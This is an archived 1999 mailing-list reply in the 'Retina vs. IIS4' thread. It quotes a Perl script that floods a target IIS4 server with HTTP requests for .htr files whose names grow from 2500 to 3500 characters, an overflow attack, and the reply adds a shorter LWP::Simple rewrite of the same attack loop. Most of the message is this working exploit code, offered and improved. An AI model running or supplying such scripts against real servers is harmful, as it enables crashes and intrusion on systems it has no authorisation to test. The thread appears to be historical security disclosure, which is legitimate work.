Re: Retina vs. IIS4, Round 2, KO

From: Randal L. Schwartz (merlynat_private)
Date: Tue Jun 15 1999 - 16:59:08 PDT

  • Next message: aleph1at_private: "Microsoft Security Bulletin (MS99-019)"

    >>>>> "Ryan" == Ryan R Permeh <rrpermehat_private> writes:
    
    Ryan> #!/usr/bin/perl
    Ryan> #props to the absu crew
    Ryan> use Net::Telnet;
    Ryan> for ($i=2500;$i<3500;$i++)
    Ryan>  {
    Ryan>         $obj=Net::Telnet->new( Host => "$ARGV[0]",Port => 80);
    Ryan>         my $cmd = "GET /". 'A' x $i . ".htr HTTP/1.0\n";
    Ryan>         print "$cmd\n";$obj->print("$cmd");
    Ryan>         $obj->close;
    Ryan>  }
    
    It's silly to use Net::Telnet for HTTP:
    
        use LWP::Simple;
        for ($i = 2500; $i <= 3500; $i++) {
          warn "$i\n";
          get "http://$ARGV[0]/".('a' x $i).".htr";
        }
    
    --
    Name: Randal L. Schwartz / Stonehenge Consulting Services (503)777-0095
    Keywords: Perl training, UNIX[tm] consulting, video production, skiing, flying
    Email: <merlynat_private> Snail: (Call) PGP-Key: (finger merlynat_private)
    Web: <A HREF="http://www.stonehenge.com/merlyn/">My Home Page!</A>
    Quote: "I'm telling you, if I could have five lines in my .sig, I would!" -- me
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:49:33 PDT